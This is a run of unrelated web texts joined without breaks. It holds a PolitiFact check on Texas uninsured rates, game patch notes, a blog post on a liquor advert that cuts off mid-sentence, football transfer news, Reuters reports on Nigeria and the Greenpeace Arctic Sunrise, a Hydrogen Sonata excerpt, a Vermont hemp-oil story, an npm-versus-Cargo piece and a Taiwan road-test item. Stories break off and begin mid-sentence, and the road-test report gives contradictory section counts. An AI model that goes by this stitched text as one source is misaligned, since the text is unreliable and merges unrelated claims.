Next, we reached Gerald "Jerry" Kominski, director of UCLA’s Center for Health Policy Research, who said by phone that results of its 2014 survey indicating the number of uninsured Californians at that time were to be released later this summer. Kominski otherwise said our calculation using the CDC study and federal population estimates seemed reasonable. "California has been very successful in reducing the number of uninsured," Kominski said, "because of its aggressive promotion of the Affordable Care Act."
We also ran our calculation by the Kaiser foundation. Researcher Rachel Garfield cautioned by phone against reaching conclusions by making calculations using figures from different sources. Generally, she said, data is not yet available to assess how many people were uninsured in each state in 2014 though the census bureau is expected to release relevant survey results in September 2015.
Our ruling
Howard said Texas is No. 1 in its uninsurance rate and its total uninsured residents.
Texas leads the nation in its percentage of uninsured. Also, it newly looks like Texas has the greatest raw number of uninsured residents, though that’s evidently backed up only by rough calculations like our own, a clarification missing from this claim.
We rate Howard’s claim Mostly True.
MOSTLY TRUE – The statement is accurate but needs clarification or additional information.
Click here for more on the six PolitiFact ratings and how we select facts to check.Update notes — September 11th
Hi everyone,Today we're releasing a pretty big (and long overdue) update for 'Caribbean!'. You can check out our new video devblog where we show what's been added and changed.- Added new interactive city screen.- Introduced new system for building construction.- Added new entities 'Cargo hold' and 'Storage' to the game's functional.- Changed goods trading interface.- Increased size of the sea locations.- Improved AI's behavior during battles.- Increased shooting distance for ships' artillery.- Added ship ramming ability.- Added 'captain's bridge' camera option.- Added'spyglass' camera option.- All boarding locations are completely redone.- Added 'rope jumps / climbing up' for the attacking side.- Added crow's nests for masts on all ships.- AI is now divided into 'defending' and 'attacking' entities. Attacking AI will try to get to enemy's deck as soon as possible, while the defending one will hold the line.- Changed cavalry behavior. It will now always attempt to perform charge attacks.- Added starting formations for the entire player's army. All troops are now divided by their types automatically.- Partly reworked order system.- Changed shooting visual effects for most weapons.- Fixed a bug in artillery's smoke particles that caused FPS drop.- Changed horse troops line-ups of all factions, except for the Brotherhood of the Coast.1, 2, 3, 4 buttons will order the troops to come up to the player. Same buttons in combination with Ctrl will give an order to attack.1 - order melee units to come up to you.2 - order riflemen to come up to you.3 - order close-range cavalry to come up to you.4 - order long-range cavalry to come up to you.Ctrl+1 - order melee units to attack.Ctrl+2 - order riflemen to attack.Ctrl+3 - order close-range cavalry to attack.Ctrl+4 - order long-range cavalry to attack.Note: The 'Come up' command doesn't replicate the old 'Follow me' command. The troops will only come closer to the player and will make a formation relatively close to his position.As the game is going through an active overhaul stage, many of its elements are completely turned off or don't work correctly. We'd like to ask the players to be understanding of this. The development process doesn't let us release a fully working current version of the game. But at the same time we don't want to keep you waiting for an update any longer.So here's what you'll need to keep in mind when playing the version 0.900:- You can't hire garrison in a city captured by you. This is because the city menu concept is being changed. In the future we're planning to add a brand new screen for troops hiring and city upgrades. Advice: after successful city assault you can leave there freed prisoners - they'll go the garrison automatically.- Industrial buildings will produce the goods, but won't sell them. You'll need to collect the goods from storage and sell it yourself for now.- The old system for controlling the troops was turned off, but the new system is only in the beginning of the development. Most likely, you won't be able to control the troops with comfort in the nearest month.- Price system and its balance. We have an especially rare pistol that costs 180 000 piasters and a frigate that costs 150 000. Sometimes two almost identical sables can differ in price dramatically. A good cuirass can cost like a regiment of royal musketeers and so on. We're aware of these problems and ask to be patient. We can't start working on the economy balance until overall work on the gameplay is finished.- Same goes for weapon balance. Grenades and cannons, above all. We'll certainly fix this, but closer to the release.- FPS drops and slow locations loading. We've reached the limits of M&B's engine possibilities. It can be fixed with optimization and cleaning old content. But the thing is that the engine often relies on the resources which are dangerous to delete from the game. We'll optimize the game, slow but steady. We already started working on that, but owners of lower-end PCs will experience some problems in the current version.The video at the bottom of this post is a commercial that caught my attention the other day as emblematic of how coarse our culture has widely become. And, as I watched it I thought “We have lost a lot in the recent cultural revolution.”
I suppose I shouldn’t expect a lot from a commercial for hard liquor (Skinny Girl cocktails). I have nothing against such products intrinsically, and even enjoy a usual nightcap of a shot of Bourbon (just one) mixed in a diet cola. But honestly, alcohol, by definition, doesn’t usually promote sober reflection and, if anything, it encourages stinkin’ thinkin.’ And frankly there’s a lot of “stinkin thinkin” in this commercial.
In the first place it ridicules the culture of the 1950s and early 1960s. The woman who exemplifies that era in the commercial is shown as stuffy, pretentious and extreme. She is finely attired in a pleated skirt, heals and a pearl necklace. But her “big hair” and poorly layered clothing seem intended to make her look “frumpy” and frankly, a big fake. Her unnaturally sultry voice also ads to the impression that the 1950s were “fake and stupid.”
Disclaimer – There is no claim here that the 1950s were some sort of idyllic period. Surely like any era there were problems and troubles. I am also under no illusions that all housewives strolled about like June Cleaver in heals and pearls, with a skirt perfectly fitted to their hourglass figures.
But as the commercial rolls on, I think we see that we have lost a lot. The picture flashes away from the elegantly dressed woman, careful for modesty and dignity (though excessively portrayed), to the modern scene where we are suppose to rejoice and approve at how far women have come.
And what do we see? Half drunk women, with painted nails and flip flops, liquor bottles in abundance, and the indelicate and boorish behavior of those who have been drinking too much. Further there are numerous displays of immodest dress, immodest posture and unbecoming behaviors. In effect, if you ask me, it is a celebration of all in our culture that is boorish, immodest, indelicate, and excessively informal.
To the ad to its credit, does not show these women exhibiting these behaviors before men. But the overall effect remains the same, a “celebration” of how far we’ve come from the uptight 1950s. Yes, look how far: crass, boorish, indelicate, inelegant, lowbrow, rough, rude, uncouth, unrefined, and largely vulgar behaviors, a mighty long way from what we once knew. As if to say, “Take that 1950s with all your formalism and restrictions…take that traditional values…We’ve come of age!”
Now of course folks in the fifties knew how to have fun and relax, it just doesn’t seem they had to be so boorish, under-dressed and uncontrolled to do it.
I did not grow up in the 1950s but did have a substantial period of my early years in the early to mid-sixties, before the revolution really set in. And again, we knew how to have fun, and even dress down occasionally. But as a general rule we were expected in those years to observe higher norms, to have manners, to dress up to go to restaurants, to Church, and to behave in certain ways in “polite company.” As a you young man I would |
any sell-on fee.
Forster broke the Scottish league record for minutes without conceding a goal last season.
Although Celtic are keen to hold onto their top players this summer, they have always acknowledged that every player has his price, as was the case when Victor Wanyama moved to Southampton last summer.
With former Hearts and Sunderland keeper Craig Gordon recruited recently and Lukasz Zaluska also on the books, they could be prepared to allow Forster to move on for the right price.
Poland international Artur Boruc, formerly of Celtic, was the first choice keeper at St Mary's last season and the 34-year-old is under contract for another year.A view is seen of the Nigeria stock exchange building in the central business district in Lagos April 10, 2013. REUTERS/Akintunde Akinleye
ABUJA (Reuters) - The United States has warned its citizens of a plan to attack one of two Sheraton hotels near Lagos, Nigeria's main commercial hub which attracts many foreign business people and which so far has been spared by the country's violent Islamist militants.
In a statement on its website, the State Department said those behind the plot were "groups associated with terrorism", but gave no further details.
Nigeria is grappling with an increasingly violent Islamist insurgency that has killed thousands in the past five years. Two recent bomb attacks on the edge of the capital Abuja have heightened security concerns ahead of the World Economic Forum (WEF) for Africa that will be held in the city on May 7-9.
Islamist militant group Boko Haram, which is fighting to carve an Islamic state out of religiously mixed Nigeria, is still mostly confined to the northeast, although it has struck across the north and in Nigeria's capital, in the center.
The group has never attacked Lagos, a sprawling city of 21 million people, although its leader Abubakar Shekau has threatened to do so.
"As of late April, groups associated with terrorism allegedly planned to mount an unspecified attack against the Sheraton Hotel in Nigeria, near the city of Lagos," the State Department said late on Friday.
"There was no further information regarding which of the two Sheraton Hotels in Lagos was the possible target... There is no further information regarding the timing or method of attack."
It cautioned U.S. citizens to avoid the hotels. The Sheraton brand is owned by Starwood Hotels & Resorts Worldwide Inc.
Lagos is more frequently visited by foreign business people than Abuja, the seat of Nigeria's government, although oil executives often visit the capital to cut deals.
The Abuja bombs, along with the abduction of 200 girls from a school near the Cameroon border, may overshadow the WEF conference which President Goodluck Jonathan's administration has pledged to protect with 6,000 troops.
The United States has offered to help Nigeria, Africa's top oil producer and one of the most vital U.S. strategic allies in Africa, as it searches for the schoolgirls and battles Boko Haram. U.S. Secretary of State John Kerry singled out the group on Saturday during a speech in Ethiopia.
"The kidnapping of hundreds of children by Boko Haram is an unconscionable crime and we will do everything possible to support the Nigerian government to return these young women to their homes and to hold the perpetrators to justice," Kerry said, addressing a forum in the capital Addis Ababa.
A senior U.S. State Department official travelling with Kerry described that support to Nigeria as broad-based and said that it included helping the government improve internal coordination within its security sector.
The official said a U.S. team, including from the U.S. military's Africa Command as well as the State Department, was due to visit Nigeria next week to "consult with them on how we might be helpful" in the fight against the group.
(Reporting by Tim Cocks; Additional reporting by Phil Stewart in Addis Ababa; Editing by Raissa Kasolowsky and Stephen Powell)Crew of Arctic Sunrise were in custody of armed Russian security forces after being prevented from disrupting oil rig work
Jumping from helicopters and slithering down ropes, more than a dozen armed Russian coastguard workers boarded a Greenpeace ship and took custody of the activists on board, to stop them from disrupting the work of a controversial oil rig.
After a scuffle between the activists and the Russian security forces, the 29 activists, including six British nationals, are apparently being held on board at gunpoint, while the ship is forcibly towed to the Arctic port of Murmansk.
The Russian coastguard, which is controlled by the FSB security services, boarded the Arctic Sunrise late on Thursday night near Prirazlomnaya, a drilling platform in the Pechora Sea, close to the Novaya Zemlya archipelago.
The activists were protesting against the rig, operated by the Russian energy giant Gazprom, which is due to come online soon, and had attempted to climb aboard it and stop work.
The ship's crew remain in the custody of armed Russian security forces and could be charged with terrorism.
The FSB said it had been tracking the vessel since it left the Norwegian port of Kirkenes last Saturday, and turned off its radio signals. Once the ship had changed course and began heading for the Prirazlomnaya platform, the FSB decided to act. Warning shots were fired and two climbers on the rig were arrested earlier in the week.
When the ship's captain refused to turn back or respond to commands on Thursday, the FSB said it took the decision to act. About 15 armed men boarded the boat via helicopter, according to activists on board.
Ben Ayliffe, the head of Greenpeace International's Arctic oil campaign, said he was speaking to one of the activists via satellite phone during the storming, and could hear shouts and banging.
"They used violence against some of us. They were hitting people, kicking people down, pushing people," Faiza Oulahsen, one of the activists aboard the ship, said in a call to Reuters on Thursday evening.
Nothing has been heard from the activists since. The Russian coastguard said that the ship's captain was refusing to operate the ship, so an official boat was towing the Arctic Sunrise west towards Murmansk.
Greenpeace insists the ship was in international waters when it was boarded, and said there had been no formal notification of possible charges, nor offers of access to legal or consular assistance. The ship was 34 nautical miles from the closest Russian shore, according to the activists, which would put it in an area known as the Exclusive Economic Zone of Russia but not in the country's territorial waters.
The FSB said it was co-ordinating actions with the foreign ministry, Gazprom and oil company Rosneft "to protect the safety of the crew on the platform and defend the interests of the Russian Federation in the Arctic region".
The regional press office of the FSB in Murmansk told Russian agencies that it had received information from representatives of the Prirazlomnaya platform earlier in the week that they feared a terrorist act was about to be carried out, and said that activists were approaching the rig with an "unidentified object that looks like an explosive device". Greenpeace claimed this was disingenuous, as its "safety pod" is brightly coloured and branded with the organisation's logo.
Greenpeace has long warned that the start of oil drilling at Prirazlomnaya could have disastrous environmental repercussions. "The rig is a rusting hulk in the middle of the Arctic that is about to start pumping oil from the Arctic for the first time," said Ayliffe. "Gazprom has no way to clean up an oil spill if it happened, and it would cause huge damage to one of the most fragile natural environments on the planet."
The Arctic Sunrise ran a similar mission to Prirazlomnaya last year, and several activists again climbed on to the rig, but although they were observed by Russian authorities, there was none of the forceful reaction that occurred this time, Ayliffe said.
Vladimir Chuprov, the head of Greenpeace Russia's Arctic programmes, says the organisation is trying to arrange meetings with Russian officials to discuss the situation. A Greenpeace team is already in Murmansk awaiting the arrival of the boat, expected at some point on Monday.This October, get ready for The Hydrogen Sonata, the new novel in Iain M. Banks' incredible Culture series. It's about what happens to an ancient civilization, the Gzilt, when they decide to sublime — and discover the dirty political underbelly of the singularity. We've got the first chapter for you right here.
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Here's the synopsis:
The Scavenger species are circling. It is, truly, the End Days for the Gzilt civilization. An ancient people, organized on military principles and yet almost perversely peaceful, the Gzilt helped set up the Culture ten thousand years earlier and were very nearly one of its founding societies, deciding not to join only at the last moment. Now they've made the collective decision to follow the well-trodden path of millions of other civilizations; they are going to Sublime, elevating themselves to a new and almost infinitely more rich and complex existence. Amid preparations though, the Regimental High Command is destroyed. Lieutenant Commander (reserve) Vyr Cossont appears to have been involved, and she is now wanted - dead, not alive. Aided only by an ancient, reconditioned android and a suspicious Culture avatar, Cossont must complete her last mission given to her by the High Command. She must find the oldest person in the Culture, a man over nine thousand years old, who might have some idea what really happened all that time ago. It seems that the final days of the Gzilt civilization are likely to prove its most perilous.
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And here's the first chapter...
One
(S -24)
In the dying days of the Gzilt civilisation, before its long-prepared-for elevation to something better and the celebrations to mark this momentous but joyful occasion, one of its last surviving ships encountered an alien vessel whose sole task was to deliver a very special party-goer to the festivities.
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The two craft met within the blast-shadow of the planetary fragment called Ablate, a narrow twisted scrue of rock three thousand kilometres long and shaped like the hole in a tornado. Ablate was all that was left of a planet destroyed deliberately two millennia earlier, shortly before it would have been destroyed naturally, by the supernova within whose out-rushing sphere of debris, gasses and radiation it remained, like an arrowhead plunging ever downwards into the rising, roiling heat and sparks of a great fire.
Ablate itself was anything but natural. Roughly hewn as though sliced from some spherical cake, its tip and the first few hundred kilometres of its narrow end had, originally, been made up of the metallic material which had formed the very centre of the now-defunct small planet while its wider end - a rough circle a couple of hundred kilometres across - looked like a gently curved dome and had been part of the barren globe's rocky surface. Kept pointed - aimed - into the supernova's blast front by engines keeled within hyperspace, all of that original tip and most of those next few hundred kilometres of layered metallic ores had abraded away over the last nineteen hundred years, boiled and scoured into oblivion by the still-expanding fires of the exploded star's nebula.
The multi-coloured skies around Ablate, filled with the vast glowing clouds of stellar debris and the gasses and dusts resulting from its own slow wearing-away, were some of the most calculatedly spectacular in the civilised galaxy, and that was why Ablate was a place of special significance to the people who called themselves the Gzilt. The Gzilt had rescued this portion of world from the annihilation of the supernova and they had anchored within it the star drives and field projectors which kept it respectively stable and - just, in the centre of that rough circle of what had been the planet's dusty surface - habitable.
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The alien ship was an irregular, fuzzy-looking bubble of dark spheres, measuring barely a hundred metres along its principal axis. It was lit from around and above by the spectrum of colours radiating from the clouds of the supernova, and from below by the gentle blue glow of the world-fragment's only obvious non-natural feature: a scooped, domed bowl a handful of kilometres across that lay on that fractured, unshadowed surface like a slightly too perfect crater. The bowl was an oasis of warmth, moisture and atmosphere on that cold, dry, airless surface; within its gauzy layers of containment it held the sort of parks, lakes, carefully proportioned buildings and lush but managed tracts of vegetation favoured by many types of humanoids.
The Gzilt ship dwarfed the alien one; it looked like a thousand dark broadswords gathered into a god's fist and brandished at the skies. It crossed the boundary of glowing, outflowing dusts and swirling gasses at the periphery of Ablate's circular outer surface - allowing its own fields to create a series of brief, tearing, billowing folds within the curtains of light there - then moved slowly towards and over the glowing bowl and the collection of dark bubbles that was the alien ship, until its spiny bulk hung directly above both, occluding a large part of the supernova clouds and draping its bristled shadow over the ship and the dome below.
The smaller ship waited for some sort of hail from the larger one, as was only polite, but nothing appeared to be forthcoming. It decided to make the initial approach itself:
~Greetings. I am the Zihdren-Remnanter Ceremonial Representative Carrying Ship Exaltation-Parsimony III. You, I understand, are the Gzilt IR-FWS 8*Churkun. I am honoured to be invited here and to make your acquaintance.
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~That is interesting, came the reply. ~A Zihdren-Remnanter Ceremonial Representative Carrying Ship, you say?
~Well, indeed I am. Somewhat obviously.
~Somewhat obviously?
~Indeed. And, if I may so claim, both in outward form and unshielded emissive signature.
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~Again, interesting.
~Indeed... May I make an observation?
~You may. We await it.
~You seem - how might one put this? - a little less welcoming and polite - especially formally welcoming and polite, as it were - than, I confess, I was expecting and, indeed, had been led to expect. Am I mistaken, or, if I am not, is there a specific reason for this?... Also, I cannot help but note that the crater facility here at Ablate, which I was led to believe would be at least staffed if not in full ceremonial welcoming mode, does not in fact appear to be so. Indeed, it appears to be effectively empty, both of biological and non-biological sentient presences. There are a few sub-AI substrates running, but no more... Obviously one is aware that these are strange times, even unprecedented times for the Gzilt; times of disruption and, one would both surmise and expect, quiet but purposeful preparation as well as anticipation. Some degree of formality might, therefore, be expected to be dispensed with in the circumstances. However, even so, one-
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~As you say, strange times. Times that bring uninvited guests and unwelcome attentions in the shape of those who would exploit our reduced numbers and distracted state.
~... We may have experienced a degree of signal outage there, or at least signal protocol disruption, unlikely though that may seem... However, with regard to what you say regarding the unwelcome attentions from others, that is, sadly, to be expected. The preparations for Sublimation tend to bring such - happily, relatively minor - consequences, as those whose memory I am honoured to represent would be the first to agree. The Zihdren-
~There was no signal outage or protocol disruption then, nor is there now. I interrupted you. I am doing so again.
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~Ah. Then I was not mistaken. Might I just check; am I addressing the captain of the 8*Churkuns virtual crew?
~You are.
~Ah. Well, then - Captain - we appear to have started out from positions involving inharmonious premises. That is unfortunate. I would hope that, nevertheless, you might appreciate my disquiet - one might even characterise it as disappointment - at the fact that we appear to have initiated our association here on such an unfortunate tack. Please; tell me what I might do to help bring us back onto a more agreeable course.
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~The preparations for our Sublimation have encouraged those of a parasitical nature. Alien presences wishing to profit from our abandonment of the Real, appropriating what treasure we might leave behind. They circle.
~I understand. I am, of course, aware of those you talk of. It was so with those whose memory I am honoured to represent: your flattered mentors and barely required civilisational guides, the Zihdren.
~Whom you claim to represent.
~I do indeed. And indeed I do. Represent them, I mean. This is scarcely a matter for dispute. My provenance and-
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~This is a warship.
~Another interruption. I see.
~A warship.
~Patently. I must say that I was in no doubt regarding your ship class and martial status. The eight-star, Indefinite Range, Full Weapon Spectrum Gzilt contemporary ship-type you represent is entirely familiar to us.
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~Things have changed, formalities slipped, protocols been relaxed. This vessel is four point six centuries old and yet has never fired a shot in anger. Now, with most of our kind already gone, preparing the way ahead in the Sublime, we find ourselves defending the disparate items of our about-to-be legacy from those who would use the fruits of our genius and labour to cheat their way further along the path to this point, a point that we achieved entirely honourably and without such opportunistic larceny.
~Well, I'm sure that does you credit, too. Wait! Good grief! Do you mistake me for such a vessel? Do you suspect I represent such primitive, aggressive forces? Surely not! I am a Zihdren-Remnanter craft, the Ceremonial Representative Carrying Ship Exaltation-Parsimony III. This must be obvious; I have nothing to hide and am transparent, all but completely unshielded; inspect me as you will. My dear colleague; if you wish for help confronting those who would steal any part of your legacy, you need only ask! I, rather, represent a link with those who only ever wished you well, and who, to the contrary-
~Part of the deception such entities employ is impersonating the vessels and beings of others. I am deeming you to be doing so at this moment. We have scanned you and determined that you are carrying something which is entirely shielded from honest view.
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~What? My dear Captain, you cannot just "deem" me to be employing any deception! That is absurd! And as for the only fully shielded substrate within myself, that is my cargo, my complement of precisely one Ceremonial Guest, our single humanoid expression of respect, expected and invited by the Gzilt people specifically to celebrate their upcoming Sublimation! Of course this entity bears a message from the Zihdren-Remnanter to the Gzilt which I am not privy to! There can be nothing strange, unprecedented or worrying about such a thing, can there? The Gzilt have been party to the relevant diplomatic and ambassadorial protocols for millennia, without a flutter of complaint. A tiny scrap of the Real bids farewell to you while at the same time representing those who would most happily welcome you to the Sublime!
~There is deceit here, something hidden. We can see it even if you cannot.
~What are you talking about? I am sorry. I have had enough of this. Your behaviour and demeanour goes beyond even the most cautious and watchful warship-normal and frankly risks slipping into outright paranoia. I am withdrawing; you will have to excuse me. Farewell.
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~Release in full the information contained within the shielded substrate.
~... Have you put a signal containment around me? Have you any idea of the consequences-?
~Release in full the information contained within the shielded substrate.
~I cannot. Quite apart from anything else, there are diplomatic niceties-
~Release in full the information contained within the shielded substrate.
~I heard you! And I cannot and will not. How dare you! We are your friends. Neutrals would be appalled and insulted at such treatment! That those who have long thought themselves your friends and allies-
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~Release in full the information-
~There! You see? Two may interrupt! I refuse to do as you ask. Drop the signal containment around me immediately. And should you make any attempt to block or prevent my moving off under-
~... contained within the shielded substrate. Release in full the information contained within the shielded substrate.
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~This is outrageous! Do you...? Are you mad? You must know what and who you are choosing to quarrel with here! I represent the Zihdren-Remnant, you lunatic! Fully accepted and accredited heirs to the Sublimed Zihdren, the species many of your people acknowledge as little less than gods; those the Book of Truth itself proclaims to be your spiritual ancestors! I must warn you that although I am, to all intents and purposes, unarmed, still I am not without resources which-
~Release in full the information contained within the shielded substrate.
~Enough. Goodbye. Out.
~Release in full the information contained within the shielded substrate.
~... Drop the signal containment around me immediately! And desist from jamming my engine fields at once! I am about to initiate a full-power high-acceleration pull-away manoeuvre irrespective of your current interference, and any damage accrued either by myself or you will be your responsibility, not mine! The Zihdren-Remnanter and the Zihdren themselves will hear of this act of barbarism; do not make it worse for yourself!
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~Release in full the information contained within the shielded substrate.
~... That my drive components have not just exploded thanks to your unwarranted barbarism is due more to my ability to finesse than your brutal use of overwhelming power. I am, as is now abundantly clear to both of us, effecti fvely helpless. This is a result and a situation that does you no honour whatsoever, believe me. I must - with utter reluctance and under extreme protest, both personal and formal - ask whether, if I do release in full the information contained inside the shielded substrate within myself, you will then drop the signal containment around me and desist from jamming my engine fields, allowing me both to signal and to depart.
~Release in full the information contained within the shielded substrate.
~And I will be allowed to signal and to depart?
~... Yes.
~Very well. Here.
~Scanned. We present the results.
~... Interesting, as you might put it. I see. That is not a message that I would have anticipated. I now appreciate, as I am sure you do, too, why there was a degree of secrecy regarding the contents. While it would not normally be any part of my responsibility to make comment on such matters, I would, speaking personally, argue that said contents themselves constitute a kind of apology. This is a type of admission, even a confession. I understand that such... accountings are often a part of the business of species and civilisations Subliming; matters are settled, lines are drawn under certain proceedings... However, be that as it may, it was my mission only to deliver this Ceremonial Guest entity while being kept entirely ignorant of the content, substance and import of its message. Accordingly, I consider that I have, albeit in most unexpected and trying circumstances, discharged my duty, and so would ask to be allowed to communicate this bizarre turn of events to those who tasked me so, and to withdraw from Gzilt jurisdictional space to await further instructions. I have held up my end of our bargain and duly released, in full, the information contained inside the shielded substrate within myself. If you'd be so kind, I now require you to fulfil your promise by dropping the signal containment around me and ceasing to jam my engine fields.
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~No.
The Gzilt ship 8*Churkun - a battleship in all but name - kept the tiny alien vessel effectively crushed underneath it as it directed fire from a pair of its close-range, medium-power plasma chambers into the vessel, and - beneath it, beyond it - into the emptily glowing blue bowl of the crater facility, destroying the ship utterly and blowing the crater facility apart.
The weapon-pulse was so strong it continued into the surface of the planetary fragment to a depth of several kilometres, blasting a brief, livid tunnel a hundred metres across vertically into the rock. A torrent of lava splashed out around the ship's outermost protective fields as the tunnel collapsed, the spattering, cooling rain of molten rock following the pulverised, atomised debris of the Zihdren-Remnanter ship and the centre of the blue-glowing bowl as they too flew into the colour-wild skies above Ablate.
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At the boundaries of the world's truncated horizon, some larger parts of the obliterated dome, still whirling away from the initial explosion, burned bright as flame as they plunged into the surrounding curtains of light.
Deep beneath its assaulted surface, automatic systems sensed the blast and the resulting wobble in the tiny world's course, and corrected for it.
Where the little blue oasis of light and life had been there was now a larger, deeper crater, glowing white and yellow and red from its boiling centre to its ragged edge. By the time the crater surface had cooled sufficiently to show how it would look once it had solidified completely, the 8*Churkun was long gone.
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Of the other ship, apart from a new set of already fading folds of light in the skies above Ablate, there was no trace whatsoever.
Hydrogen Sonata will published in the US and the UK on October 12.Buy Photo Megan Vaughan prepares a dose of hemp oil to administer to her 10-year-old daughter Aurora Husk outside the Bristol Elementary School on Friday, October 2, 2015. Husk, who has intractable epilepsy, is not allowed to consume the oil on school property. Her mother comes to the school twice a day to give her two of her three daily doses. (Photo: GLENN RUSSELL/FREE PRESS)Buy Photo
BRISTOL – On an October afternoon, Aurora Husk walked out of Bristol Elementary School with her shoulders slumped and a frown on her face.
Her mom was there to pick her up, and Aurora was unhappy about missing class. Aurora was due for her second dose of hemp oil that day. She takes three doses each day in an effort to treat her seizure disorder.
"It's disruptive for her, whatever she's involved in she has to stop and come outside with me," Aurora's mother Megan Vaughan said. "I feel like it's a disruption to my child, but I'm going to do it because she needs it."
The 10-year-old from Bristol has experienced as many as 40 seizures per day since she was 8 weeks old, Vaughan said. Aurora has an inoperable scar on her brain from a burst blood vessel and suffers from a condition called electrical status epilepticus.
Since this past spring, Aurora has been taking CBD hemp oil to treat her condition. Therapeutic hemp oil has been a topic of debate in recent months as state officials expanded regulations to allow Vermont's four medical marijuana dispensaries to produce those products.
Vermont Attorney General Bill Sorrell acknowledges that hemp oil can provide some therapeutic benefit in treating seizure disorders. He wrote in an April memo that residents should not fear prosecution for possessing hemp oil products.
Still parents, including Vaughan, face difficulties when trying to arrange for their children to receive hemp oil doses during the school day.
"They look at me like I'm packing heroin in my daughter's lunchbox or something," she said, referring to the school's staff.
Vaughan said the school nurse at Bristol elementary will not keep the oil product in her office.
The school principal could not be reached for comment.
Aurora can only receive the hemp oil off of school grounds, Vaughan said. Twice a day — at 10 a.m. and 2:30 p.m. — Vaughan drives to Bristol Elementary School to pull Aurora out of class and walk her around the block, where she administers the dosages.
The oil has to be administered two hours before or after Aurora takes her seizure medication, so the time that Aurora gets her hemp dosages is important, Vaughan said.
The process takes about 15 minutes, Vaughan said, which amounts to nearly half a class.
Some days Vaughan can't make it to the school on time, or even at all, due to work commitments. Vaughan's mother helps out or Aurora has to miss a dose.
Buy Photo Megan Vaughan administers a dose of hemp oil to her 10-year-old daughter Aurora Husk outside the Bristol Elementary School on Friday, October 2, 2015. Husk, who has intractable epilepsy, is not allowed to consume the oil on school property. Her mother comes to the school twice a day to give her two of her three daily doses. (Photo: GLENN RUSSELL/FREE PRESS)
Karen Richards, executive director of the Vermont Human Rights Commission said students' needs for hemp oil could fall under the public accommodations act assuming the student has a disability.
The commission makes recommendations as to whether they believe discrimination occurred in a particular case. The department has yet to investigate the hemp oil issue, but Richards said she has heard of the problems parents are facing.
The real issue is the difference between federal and state law regarding hemp and medical marijuana, she said pointing to the memo from the attorney general's office.
"It is not a legal substance under federal law," she said, referring to hemp. "We have the same issues with medical marijuana."
"You may have it in the state, but you're still in violation technically of federal law."
Schools that receive federal funding are at risk of losing that money if the school is found holding drugs, Richards said. Schools are required to commit to maintaining a drug-free workplace to receive federal funding.
Dr. Breena Holmes, director of Maternal & Child Health at the Vermont Department of Health said the protection of health and safety in schools is a duty shared by the school administration, staff and nurses. There is a manual that establishes protocol for how school staff should administer medications.
For a prescription medication, schools are required to obtain written permission from both the parent and a medical provider, according to the manual. Medications must also be in a current pharmacy-labeled bottle.
For non-prescription medications, a school must obtain written, phone or email documentation from a parent, and the medication must be left in the original store-labeled bottle or container.
Medications cannot be given without the proper permissions, according to the manual. Guidelines for how school employees can look out for drug and alcohol abuse are also detailed.
"It is not clear where hemp oil fits in the current guidelines and it may not fit in either of these current categories," Holmes said.
Buy Photo Ten-year-old Aurora Husk, right, reacts after taking a dose of hemp oil administered by her mother Megan Vaughan outside the Bristol Elementary School on Friday, October 2, 2015. Husk, who has intractable epilepsy, is not allowed to consume the oil on school property. Her mother comes to the school twice a day to give her two of her three daily doses. "It tastes like grass," Husk said, referring to the lawn covering. (Photo: GLENN RUSSELL/FREE PRESS)
Vaughan said she wants a better explanation for why the school can't give her daughter the "medicine" that she sees as helping to reduce Aurora's seizures.
Vaughan said she feels the school has a duty to follow through with Aurora's Independent Education Plan (IEP).
"We have children with disabilities in a public school, they have an IEP so it should fall under the disability clause," Vaughan said.
"Who's to say a mom isn't cooking with hemp oil at home?," she added. "You can buy this at the co-op, you can use it as a fiber."
Regardless of whether the school agrees to administer Aurora's hemp oil, Vaughan plans to continue providing the treatment.
Contact Haley Dover at 660-1850 or hdover@freepressmedia.com. Follow Haley on Twitter at www.twitter.com/HaleyRDover.
Read or Share this story: http://bfpne.ws/1Lnz4TqThe short answer: No.
This was fundamentally possible because NPM offers an unpublish feature. Although the docs for unpublish admonish users that “It is generally considered bad behavior to remove versions of a library that others are depending on!” in large bold print, the feature is available.
The Node community had a lot of drama this week when a developer unpublished a package on which a lot of the world depended.
What’s the Rust equivalent?
The Rust package manager, Cargo, is similar to NPM in that it helps users get the libraries on which their projects depend. Rust’s analog to the NPM index is crates.io.
The best explanation of Cargo’s robustness against unpublish exploits is the docs themselves:
cargo yank Occasions may arise where you publish a version of a crate that actually ends up being broken for one reason or another (syntax error, forgot to include a file, etc.). For situations such as this, Cargo supports a “yank” of a version of a crate.: $ cargo yank --vers 1.0.1 $ cargo yank --vers 1.0.1 --undo A yank does not delete any code. This feature is not intended for deleting accidentally uploaded secrets, for example. If that happens, you must reset those secrets immediately. The semantics of a yanked version are that no new dependencies can be created against that version, but all existing dependencies continue to work. One of the major goals of crates.io is to act as a permanent archive of crates that does not change over time, and allowing deletion of a version would go against this goal. Essentially a yank means that all projects with a Cargo.lock will not break, while any future Cargo.lock files generated will not list the yanked version.
As Cargo author Alex Crichton clarified in a GitHub comment yesterday, the only way that it’s possible to remove code from crates.io is to compel the Rust tools team to edit the database and S3 bucket.
Even if a crate maintainer leaves the community in anger or legal action is taken against a crate, this workflow ensures that code deletion is only possible by a small group of people with the motivation and authority to do it in the way that’s least problematic for users of the Rust language.
For more information on the crates.io package and copyright policies, see this internals thread.Taipei, March 1 (CNA) Four out of 11 drivers who took the country's new road test for the first time Tuesday have passed, the Directorate General of Highways said.
The seven who failed the test each lost 32 points because they did not do well on aspects of the test such as indicating when making a turn and fastening their seat belts, the highway authority said.
A score of at least 70 on the 100-point test is required to qualify for a driver's license.
As 34 of the 65 sections on the test are each valued at 32 points, failing any one of those sections will result in disqualification.
The 354sections include aspects such as looking both ways before going through a road intersection or pedestrian crossing, turning on the vehicle's indicator before changing lanes, and checking for oncoming cars or pedestrians before opening a vehicle door.
The Directorate General of Highways launched a pilot project in 2011 to introduce a road test as part of the requirement to obtain a driver's license but it did not take effect officially until Tuesday.
The road test, however, is not compulsory as people could instead take an off-road driving test.
The seven people who failed the road test on Tuesday were allowed to retake it or opt for the off-road test. They all took the latter, but still only two passed.
Only 50 people nationwide have applied to take the road test in the first month of its implementation, according to the highway authority.
(By Wang Shu-fen and S.C. Chang)
Enditem/pc"If anybody had told me that I would be playing for Chelsea and winning the Nations Cup by the beginning of this year, I would not have believed it. It is like a dream. But it has taken a lot of hard work and I have been working hard week in and week out, and at the end of the day everything came out for me in a positive way," Moses told FIFA.com.
